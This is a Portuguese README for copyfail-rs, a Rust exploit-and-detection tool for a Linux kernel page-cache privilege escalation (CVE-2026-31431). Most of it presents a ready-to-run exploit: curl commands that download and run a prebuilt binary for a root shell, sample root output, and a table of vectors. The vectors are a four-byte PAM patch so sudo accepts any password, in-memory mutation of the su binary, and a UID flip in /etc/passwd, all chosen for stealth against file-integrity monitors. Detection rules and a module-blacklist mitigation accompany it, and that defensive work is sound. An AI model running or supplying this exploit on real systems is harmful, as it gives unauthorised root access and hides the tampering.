
CopyFail (CVE-2026-31431): PoC de escalonamento de privilégios no page-cache do kernel Linux + a única ferramenta pública de detecção. Novo vetor de bypass de autenticação PAM + regras Sigma/auditd/eBPF.
PoC multi-vetor + detecção emparelhada para CVE-2026-31431 (CopyFail). Inclui um novo vetor de bypass de autenticação PAM que nenhum outro PoC público oferece. O modo de detecção captura o que AIDE / Wazuh / OSSEC / Tripwire estruturalmente não conseguem.
Binário estático único. ~108 KB. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Um comando. Shell root. PAM killshot nos bastidores (uma única escrita de 4 bytes em /etc/pam.d/common-auth), queda de PTY para root via sudo com senha descartada. A linha [sudo] password for noot: pisca brevemente; o sudo sempre exibe esse prompt; o binário alimenta qualquer string e a falha do pam_unix cascateia através do pam_deny.so comentado para pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← o que está realmente carregado (mutado)
disk: 117dab1c... ← o que AIDE / Wazuh / Tripwire veem (limpo)
É isso o projeto. Disco limpo, cache mutado. Todo FIM público é cego. Esta ferramenta não é.
Binários estáticos pré-compilados na release v0.1.0. Escolha sua arquitetura, baixe, execute.
# x86_64 (maioria dos laptops + servidores em nuvem)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Outras arquiteturas:
| Arquitetura | Arquivo |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Verifique a integridade:
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt
Binários musl estáticos, sem dependências de runtime, rodam em qualquer Linux.
Mutação do page cache. Sem escrita VFS. Sem página suja. Sem evento inotify. O rescan periódico compete com a evicção.
AIDE/Wazuh/OSSEC/Tripwire/Samhain leem via I/O bufferizado → page cache → fazem hash dos bytes mutados como verdade. Ou, após a evicção, fazem hash do disco limpo → "nenhuma alteração jamais ocorreu."
A detecção precisa de O_DIRECT (pular cache) + leitura bufferizada (atingir cache) + diff de hash. Divergência = assinatura CopyFail. Isso é --scan.
Seleção automática: --vector auto (padrão). Classifica pam > su > passwd por furtividade. Faz fallback em caso de falha.
--json em todos os lugares para ingestão em SIEM.
detection/:
sigma/copyfail-af-alg.yml, regra Sigma, coloque no seu SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, one-liner bpftraceapparmor/copyfail-block.profile, regra de negação AppArmor 3.0+mitigation/disable-algif.sh, blacklist modprobe + aviso =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Ou kernel mainline a664bf3d603d (abril de 2026). Até agora: apenas Debian Sid/Forky enviaram. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = todos vulneráveis.
Ressalva: CONFIG_CRYPTO_USER_API_AEAD=y (embutido) contorna silenciosamente o modprobe. --check avisa.
Após exploit + mitigação: a mutação do cache persiste até o reboot. A mitigação bloqueia NOVOS exploits, não desfaz os anteriores.
cargo build --release --target x86_64-unknown-linux-musl
| Alvo | Tamanho |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. Sem alocador. Sem dependências de runtime. Binário estático único.
Artefatos pré-compilados e somas SHA256 anexados às releases do GitHub.
Veja docs/usage.md para exemplos concretos de uma tela por modo (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Para uma versão narrativa mais longa deste README (mais contexto, exposição mais profunda), veja BLOG.md.
Veja docs/threat-model.md.
Apenas hardware próprio. Sem bloqueio de CLI (teatro de segurança). README + LICENSE = o framework.
O modo de detecção é somente leitura. Seguro em produção.
O modo exploit muta o page cache do kernel. Apenas em RAM, mas trate como destrutivo. Bloqueia autenticação para qualquer chamador subsequente.
CVE-2026-31431 divulgada por Theori / Xint em 2026-04-29 (writeup, blog Xint). PoCs públicos anteriores:
Este projeto (copyfail-rs): adiciona o vetor de bypass de autenticação PAM, detecção de modo duplo, artefatos de IR.
MIT.
a664bf3d603d72548b093ee3 (4.14, ago 2017)| Vetor | Alvo | Onde aterrissa |
|---|
pam (NOVO) | /etc/pam.d/common-auth (Debian/Ubuntu) ou system-auth (Fedora/RHEL/Arch) | 4 bytes. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo com qualquer senha = root. |
su | /usr/bin/su | Muta o texto do binário setuid. execve → root. |
passwd | /etc/passwd | Inversão de UID → usuário vira root no próximo login. Quebra SSH para esse usuário. |
| Modo | O quê |
|---|
--check | Kernel + módulo + CONFIG_CRYPTO_USER_API_AEAD + status de mitigação. Veredito: vulnerável / mitigado / seguro. |
--scan | Diff de leitura O_DIRECT vs bufferizada em arquivos críticos. Ramificado por statfs(): ext4/xfs/btrfs usam O_DIRECT, overlayfs faz fallback, tmpfs é ignorado. |
--baseline / --diff | Snapshot do estado conhecido como limpo. Diff posterior. Deltas apenas de cache = a impressão digital CopyFail. |
--watch | Daemon. Varredura periódica. SIGTERM limpo. |
--hunt | Varredura de frota SSH. Agregados JSON. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| Vetores | su | su + passwd | su | su + passwd + PAM (novo) |
| Detecção | nenhuma | nenhuma | nenhuma | --mode detect completo |
| Artefatos de IR | nenhum | nenhum | nenhum | Sigma + auditd + eBPF + AppArmor |
| UX do operador | 3 comandos | 4 comandos | 5 comandos | 1 comando |
| Binário | precisa de Python | ~10 KB | ~5 MB | ~108 KB estático |